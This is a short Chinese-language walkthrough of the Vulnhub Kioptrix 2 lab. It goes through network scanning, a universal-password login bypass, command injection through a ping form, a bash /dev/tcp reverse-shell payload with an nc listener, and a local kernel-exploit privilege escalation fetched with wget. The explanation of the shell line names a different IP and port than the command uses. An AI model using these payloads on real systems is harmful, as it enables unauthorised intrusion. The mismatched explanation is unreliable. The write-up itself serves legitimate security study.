Vulnhub-Kioptrix 2
本系列靶机一共有5关,这是第二关。
需要把kali和靶机放在同一网段内。
信息收集
第一步,获取靶机ip。使用扫描工具对主机进行扫描。
arp-scan -l先获取ip
然后再nmap扫描一下端口
发现80端口,查看80端口。
发现有个登录窗口
漏洞利用
试一下万能密码。
进来了
他说入网我们ping网络上的计算机。
我们试一下ping本地,即127.0.0.1
试一下命令执行
发现可以,那么反弹shell一下。
先在kali上nc -lvp 8888
127.0.0.1|bash -i >& /dev/tcp/172.20.10.4/8888 0>&1
顺便解释一下这里后面的命令的意思。
- bash 是 Bash shell 的命令,它将启动一个新的 Bash shell。
- -i 选项表示我们希望在交互模式下运行 Bash shell。
- >& 表示将输出重定向到其他地方,这里是"/dev/tcp/172.20.10.4/8888"。
- /dev/tcp/172.20.10.4/8888 是一个特殊的文件,用于将数据流重定向到网络套接字。在这种情况下,它将与远程主机的 IP 地址为 192.168.101.20、端口为 3333 的套接字连接起来。
- 0>&1 将标准输入重定向到标准输出,这意味着所有输入都将发送到网络套接字。
提权
nc反弹shell后查看用户权限,发现不是root用户,查看系统版本信息。
uname -a和cat /etc/issue没收集到什么有用的版本信息。
这边看别人的wp学到一个命令:lsb_release -a
lsb_release命令 用来与具体Linux发行版相关的Linux标准库信息。
然后searchploit centos 4.5查看相关的exp
根据对应的版本使用第二个,把exp cp到桌面。
locate文件目录后,cp到桌面。
然后python3开http服务上传exp。
这边在上传的时候遇到一个小坑。因为反弹shell的初始目录apache这个用户是没有权限创建新文件的。所以在下载exp到靶机之前,还要先在靶机上创建一个apache用户可以新建文件的文件夹。
所以先mkdir一个文件目录,然后在进入该文件,再wget下载exp。
然后下载exp并编译,编译过后执行。
提权成功!